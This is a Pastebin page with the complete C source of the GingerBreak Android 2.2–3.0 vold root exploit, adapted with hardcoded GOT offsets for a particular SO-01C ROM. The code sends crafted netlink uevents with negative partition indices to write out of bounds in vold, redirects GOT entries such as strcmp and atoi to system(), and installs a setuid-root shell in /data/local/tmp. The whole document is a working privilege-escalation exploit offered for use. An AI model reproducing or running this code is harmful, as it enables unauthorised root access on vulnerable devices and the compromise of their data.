Advertisement
goroh_kun

acrobreak.c (for SO-01C ROM 3.0.D.2.79)

Aug 30th, 2011
2,266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.52 KB | None | 0 0
  1. /* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
  2.  * (checked for upper limit but not against negative values).
  3.  *
  4.  * Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
  5.  * and then triggering such call with provided pointer. :D
  6.  * We nevermind NX protections and what they call ROP.
  7.  *
  8.  * (C) 2010-2011 The Android Exploid Crew
  9.  *
  10.  * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
  11.  * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
  12.  * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
  13.  *
  14.  * It only works if called from adb shell since we need
  15.  * group log.
  16.  *
  17.  */
  18. #include <stdio.h>
  19. #include <sys/types.h>
  20. #include <sys/stat.h>
  21. #include <sys/mount.h>
  22. #include <sys/time.h>
  23. #include <linux/netlink.h>
  24. #include <sys/socket.h>
  25. #include <sys/un.h>
  26. #include <arpa/inet.h>
  27. #include <unistd.h>
  28. #include <fcntl.h>
  29. #include <errno.h>
  30. #include <string.h>
  31. #include <signal.h>
  32. #include <stdlib.h>
  33. #include <math.h>
  34. #include <dlfcn.h>
  35. #include <elf.h>
  36. #include <sys/system_properties.h>
  37.  
  38.  
  39. static struct {
  40.     pid_t pid;
  41.     uint32_t got_start, got_end;
  42.     uint32_t system;
  43.     char *device;
  44.     char found;
  45. } vold;
  46.  
  47.  
  48. static pid_t logcat_pid = 77;
  49. static char *sh = "/data/local/tmp/sh";
  50. static char *bsh = "/data/local/tmp/boomsh";
  51. static char *crashlog = "/data/local/tmp/crashlog";
  52. static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1";
  53. static int scale = 5, honeycomb = 0, froyo = 0;
  54.  
  55. extern char **environ;
  56.  
  57.  
  58. static void die(const char *msg)
  59. {
  60.     perror(msg);
  61.     exit(errno);
  62. }
  63.  
  64.  
  65. static int copy(const char *from, const char *to)
  66. {
  67.     int fd1, fd2;
  68.     char buf[0x1000];
  69.     int r = 0;
  70.  
  71.     if ((fd1 = open(from, O_RDONLY)) < 0)
  72.         return -1;
  73.     if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
  74.         close(fd1);
  75.         return -1;
  76.     }
  77.  
  78.     for (;;) {
  79.         r = read(fd1, buf, sizeof(buf));
  80.         if (r <= 0)
  81.             break;
  82.         if (write(fd2, buf, r) != r)
  83.             break;
  84.     }
  85.  
  86.     close(fd1);
  87.     close(fd2);
  88.     sync(); sync();
  89.     return r;
  90. }
  91.  
  92.  
  93. static int remount_data(const char *mntpoint)
  94. {
  95.     FILE *f = NULL;
  96.     int found = 0;
  97.     char buf[1024], *dev = NULL, *fstype = NULL;
  98.  
  99.     if ((f = fopen("/proc/mounts", "r")) == NULL)
  100.         return -1;
  101.  
  102.     memset(buf, 0, sizeof(buf));
  103.     for (;!feof(f);) {
  104.         if (fgets(buf, sizeof(buf), f) == NULL)
  105.             break;
  106.         if (strstr(buf, mntpoint)) {
  107.             found = 1;
  108.             break;
  109.         }
  110.     }
  111.     fclose(f);
  112.     if (!found)
  113.         return -1;
  114.     if ((dev = strtok(buf, " \t")) == NULL)
  115.         return -1;
  116.     if (strtok(NULL, " \t") == NULL)
  117.         return -1;
  118.     if ((fstype = strtok(NULL, " \t")) == NULL)
  119.         return -1;
  120.     return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
  121. }
  122.  
  123.  
  124. static void *find_symbol(char *sym)
  125. {
  126.     void *r = NULL;
  127.     void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
  128.  
  129.     if (!dlh)
  130.         die("[-] dlopen");
  131.     if ((r = (void *)dlsym(dlh, sym)) == NULL)
  132.         die("[-] dlsym");
  133.     dlclose(dlh);
  134.     return r;
  135. }
  136.  
  137.  
  138. static void find_got(char *file)
  139. {
  140.     int fd, i;
  141.     Elf32_Ehdr ehdr;
  142.     Elf32_Phdr phdr;
  143.     Elf32_Dyn *dyn = NULL;
  144.     size_t dyn_size = 0;
  145.  
  146.     memset(&ehdr, 0, sizeof(ehdr));
  147.     memset(&phdr, 0, sizeof(phdr));
  148.  
  149.     if ((fd = open(file, O_RDONLY)) < 0)
  150.         die("[-] open");
  151.  
  152.     if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr))
  153.         die("[-] read");
  154.     if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff)
  155.         die("[-] lseek");
  156.  
  157.     for (i = 0; i < ehdr.e_phnum; ++i) {
  158.         if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr))
  159.             die("[-] read");
  160.         if (phdr.p_type == PT_DYNAMIC)
  161.             break;
  162.     }
  163.     if (phdr.p_type != PT_DYNAMIC)
  164.         die("[-] No GOT found!");
  165.     if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset)
  166.         die("[-] lseek");
  167.     dyn_size = phdr.p_filesz;
  168.     printf("[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size,
  169.            dyn_size/sizeof(Elf32_Dyn));
  170.     if ((dyn = malloc(dyn_size)) == NULL)
  171.         die("[-] malloc");
  172.     if (read(fd, dyn, dyn_size) != dyn_size)
  173.         die("[-] read");
  174.     close(fd);
  175.     for (i = 0; i < dyn_size/sizeof(Elf32_Dyn); ++i) {
  176.         if (dyn[i].d_tag == DT_PLTGOT)
  177.             break;
  178.     }
  179.     if (dyn[i].d_tag != DT_PLTGOT)
  180.         die("[-] No GOT found!");
  181.  
  182.     vold.got_start = dyn[i].d_un.d_ptr;
  183.     free(dyn);
  184.  
  185.     /* Not really the end, but who cares, 64 entries should be enough
  186.      */
  187.     vold.got_end = vold.got_start + scale*64;
  188.     printf("[+] Found GOT: 0x%08x\n", vold.got_start);
  189. }
  190.  
  191.  
  192. static void find_device()
  193. {
  194.     char buf[1024], *dev = NULL, *sp = NULL;
  195.     FILE *f;
  196.  
  197.     if ((f = fopen("/etc/vold.fstab", "r")) == NULL) {
  198.         if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) {
  199.             printf("[-] No vold.fstab found. Using default.\n");
  200.             vold.device = strdup(default_dev);
  201.             return;
  202.         }
  203.     }
  204.  
  205.     for (;!feof(f);) {
  206.         memset(buf, 0, sizeof(buf));
  207.         if (!fgets(buf, sizeof(buf), f))
  208.             break;
  209.         if (buf[0] == '#')
  210.             continue;
  211.         if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/")))
  212.             break;
  213.     }
  214.     fclose(f);
  215.  
  216.     if (!dev) {
  217.         printf("[-] No device found. Using default.\n");
  218.         vold.device = strdup(default_dev);
  219.     } else {
  220.         if ((sp = strchr(dev, ' '))) {
  221.             *sp = 0;
  222.             vold.device = strdup(dev);
  223.         } else if ((sp = strchr(dev, '\n'))) {
  224.             *sp = 0;
  225.             vold.device = strdup(dev);
  226.         } else {
  227.             printf("[-] No device found. Using default.\n");
  228.             vold.device = strdup(default_dev);
  229.         }
  230.     }
  231.     printf("[+] Using device %s\n", vold.device);
  232. }
  233.  
  234.  
  235. static void find_vold()
  236. {
  237.     char buf[2048], *ptr = NULL;
  238.     int i = 0, fd;
  239.     pid_t found = 0;
  240.     FILE *f = NULL;
  241.  
  242.     vold.found = 0;
  243.  
  244.     if ((f = fopen("/proc/net/netlink", "r")) == NULL)
  245.         die("[-] fopen");
  246.  
  247.     for (;!feof(f);) {
  248.         memset(buf, 0, sizeof(buf));
  249.         if (!fgets(buf, sizeof(buf), f))
  250.             break;
  251.         if ((ptr = strtok(buf, "\t ")) == NULL)
  252.             break;
  253.         if ((ptr = strtok(NULL, "\t ")) == NULL)
  254.             break;
  255.         if ((ptr = strtok(NULL, "\t ")) == NULL)
  256.             break;
  257.         if (!*ptr)
  258.             break;
  259.         i = atoi(ptr);
  260.         if (i <= 1)
  261.             continue;
  262.         sprintf(buf, "/proc/%d/cmdline", i);
  263.         if ((fd = open(buf, O_RDONLY)) < 0)
  264.             continue;
  265.         memset(buf, 0, sizeof(buf));
  266.         read(fd, buf, sizeof(buf) - 1);
  267.         close(fd);
  268.         if (strstr(buf, "/system/bin/vold")) {
  269.             found = i;
  270.             break;
  271.         }
  272.         }
  273.     fclose(f);
  274.     if (!found)
  275.         return;
  276.  
  277.     vold.pid = found;
  278.     vold.found = 1;
  279.  
  280.     /* If already called no need to look for the mappings again as
  281.      * they wont change
  282.      */
  283.     if (vold.system)
  284.         return;
  285.  
  286.     ptr = find_symbol("system");
  287.     vold.system = (uint32_t)ptr;
  288.     printf("[+] Found system: %p strcmp: %p\n", ptr, find_symbol("strcmp"));
  289.         return;
  290. }
  291.  
  292.  
  293. /* Needed to make it work on 2.2 too
  294.  */
  295. static int last_try()
  296. {
  297.     char buf[0x1000];
  298.     struct sockaddr_nl snl;
  299.     struct iovec iov = {buf, sizeof(buf)};
  300.     struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
  301.     int sock = -1, n = 0;
  302.  
  303.     do {
  304.         find_vold();
  305.         usleep(10000);
  306.     } while (!vold.found);
  307.  
  308.     memset(buf, 0, sizeof(buf));
  309.     memset(&snl, 0, sizeof(snl));
  310.     snl.nl_family = AF_NETLINK;
  311.  
  312.     if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
  313.         die("[-] socket");
  314.     snl.nl_pid = vold.pid;
  315.  
  316.     memset(buf, 0, sizeof(buf));
  317.  
  318.     n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
  319.                       "DEVPATH=%s%c"
  320.                           "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
  321.                           0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
  322.     msg.msg_iov->iov_len = n;
  323.     n = sendmsg(sock, &msg, 0);
  324.     sleep(3);
  325.     close(sock);
  326.     return 0;
  327. }
  328.  
  329.  
  330.  
  331. static int do_fault(uint32_t idx, int oneshot)
  332. {
  333.     char buf[0x1000];
  334.     struct sockaddr_nl snl;
  335.     struct iovec iov = {buf, sizeof(buf)};
  336.     struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
  337.     int sock = -1, n = 0;
  338.  
  339.     do {
  340.         find_vold();
  341.         usleep(10000);
  342.     } while (!vold.found);
  343.  
  344.     usleep(200000);
  345.     memset(buf, 0, sizeof(buf));
  346.     memset(&snl, 0, sizeof(snl));
  347.     snl.nl_family = AF_NETLINK;
  348.  
  349.     if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
  350.         die("[-] socket");
  351.     snl.nl_pid = vold.pid;
  352.  
  353.     memset(buf, 0, sizeof(buf));
  354.     n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
  355.                       "DEVPATH=%s%c"
  356.                           "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d",
  357.                           0, 0, 0, vold.device, 0, 0, vold.system, 0, 0, -idx);
  358.     msg.msg_iov->iov_len = n;
  359.  
  360.     n = sendmsg(sock, &msg, 0);
  361.     if (n < 0 || oneshot) {
  362.         close(sock);
  363.         return n;
  364.     }
  365.  
  366.     usleep(500000);
  367.  
  368.     /* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
  369.      * inside vold main binary.
  370.      * Arent we smart? Using old school technique from '99 to fsck NX while others
  371.      * re-invent "ROP". Wuhahahahaha!!!
  372.      */
  373.     if (honeycomb) {
  374.         n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
  375.                           "SEQNUM=%s%cDEVPATH=%s%c"
  376.                               "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
  377.                               0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0);
  378.     } else if (froyo) {
  379.         n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
  380.                           "DEVPATH=%s%c"
  381.                               "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
  382.                               0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
  383.     } else {
  384.         n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
  385.                           "SEQNUM=%s%cDEVPATH=%s%c"
  386.                               "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
  387.                               bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);
  388.     }
  389.  
  390.     msg.msg_iov->iov_len = n;
  391.     n = sendmsg(sock, &msg, 0);
  392.  
  393.     close(sock);
  394.  
  395.     return n;
  396. }
  397.  
  398.  
  399. static uint32_t find_index()
  400. {
  401.     uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
  402.     char buf[1024], *ptr = NULL;
  403.     FILE *f = NULL;
  404.     long pos = 0;
  405.  
  406.     system("/system/bin/logcat -c");
  407.     unlink(crashlog);
  408.  
  409.     if ((logcat_pid = fork()) == 0) {
  410.         char *a[] = {"/system/bin/logcat",  "-f", crashlog, NULL};
  411.         execve(*a, a, environ);
  412.         exit(1);
  413.     }
  414.  
  415.     sleep(3);
  416.  
  417.     idx = scale*0x1000/4;
  418.     for (;;) {
  419.         if (do_fault(idx, 1) < 0)
  420.             continue;
  421.         /* Give logcat time to write to file
  422.          */
  423.         sleep(3);
  424.         if ((f = fopen(crashlog, "r")) == NULL)
  425.             die("[-] Unable to open crashlog file");
  426.         fseek(f, pos, SEEK_SET);
  427.         do {
  428.             memset(buf, 0, sizeof(buf));
  429.             if (!fgets(buf, sizeof(buf), f))
  430.                 break;
  431.             if ((ptr = strstr(buf, "fault addr ")) != NULL) {
  432.                 ptr += 11;
  433.                 fault_addr = (uint32_t)strtoul(ptr, NULL, 16);
  434.                 printf("[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr);
  435.             }
  436.         } while (!feof(f));
  437.         pos = ftell(f);
  438.         fclose(f);
  439.  
  440.         if (fault_addr > min && fault_addr < max) {
  441.             printf("[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx);
  442.             break;
  443.         }
  444.         idx += 0x1000/4;
  445.     }
  446.  
  447.     // Honeycomb needs scaling by 10
  448.     idx = (fault_addr + 4*idx - vold.got_start)/4;
  449.     if (scale > 1)
  450.         idx = scale*(fault_addr + 4*idx/scale - vold.got_start)/4;
  451.  
  452.     printf("[+] Calculated idx: %d\n", -idx);
  453.     return idx;
  454. }
  455.  
  456.  
  457. static void do_root()
  458. {
  459.     remount_data("/data");
  460.     chown(sh, 0, 0);
  461.     chmod(sh, 04711);
  462.     exit(0);
  463. }
  464.  
  465.  
  466. int main(int argc, char **argv, char **env)
  467. {
  468.     uint32_t i = 0, j = 0, idx = 0;
  469.     char *ash[] = {sh, 0};
  470.     struct stat st;
  471.     char build_id[256], version_release[256];
  472.  
  473.     if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
  474.         do_root();
  475.  
  476.     printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n");
  477.     printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n");
  478.     printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n");
  479.     printf("[**] Zynamics for ARM skills and Onkel Budi\n\n");
  480.     printf("[**] donate to 7-4-3-C@web.de if you like\n[**] Exploit may take a while!\n\n");
  481.     printf("[**] Modified for IS11S by goroh.kun@gmail.com\n");
  482.  
  483.     if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
  484.         die("[-] Cannot copy boomsh.");
  485.  
  486.     chmod(bsh, 0711);
  487.  
  488.     __system_property_get("ro.build.id", build_id);
  489.     __system_property_get("ro.build.version.release", version_release);
  490.  
  491.     if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") ||
  492.         strstr(version_release, "comb")) {
  493.         printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n");
  494.         scale = 10;
  495.         honeycomb = 1;
  496.     } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) {
  497.         printf("[+] Detected Froyo!\n");
  498.         froyo = 1;
  499.     } else
  500.         printf("[+] Plain Gingerbread mode!\n");
  501.  
  502.     find_vold(&vold);
  503.     find_got("/system/bin/vold");
  504.     find_device();
  505.  
  506.     printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start,
  507.            vold.got_end);
  508. //  idx = find_index();
  509.     idx = 2003;
  510.  
  511.     kill(logcat_pid, SIGKILL);
  512.     unlink(crashlog);
  513.  
  514.     //strlen
  515.     do_fault(idx - (0x145AC - vold.got_start) / 4, 1);
  516.     //strncmp
  517.     do_fault(idx - (0x145b0 - vold.got_start) / 4, 1);
  518.     //strcmp
  519.     do_fault(idx - (0x14584 - vold.got_start) / 4, 1);
  520.     //atoi
  521.     do_fault(idx - (0x145b4 - vold.got_start) / 4, 0);
  522.  
  523.     for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
  524.         if (do_fault(i, 0) < 0) {
  525.             ++i; --j;
  526.             printf("[-] sendmsg() failed?\n");
  527.             continue;
  528.         }
  529.         printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout);
  530.         stat(sh, &st);
  531.         if ((st.st_mode & 04000) == 04000) {
  532.             printf("\n\n[!] dance forever my only one\n");
  533.             break;
  534.         }
  535.     }
  536.  
  537.     /* Last try, sometimes vold cant handle 2 receives in the order
  538.      * we like by do_fault()
  539.      */
  540.     if ((st.st_mode & 04000) != 04000) {
  541.         last_try(); last_try();
  542.         stat(sh, &st);
  543.         if ((st.st_mode & 04000) == 04000) {
  544.             printf("\n[+] You are in luck! Last try succeeded!\n");
  545.         } else {
  546.             printf("\n[-] Bad luck. Fixed vold?\n");
  547.             exit(1);
  548.         }
  549.     }
  550.  
  551.     /* execve(*ash, ash, env); */
  552.     return 0;
  553. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement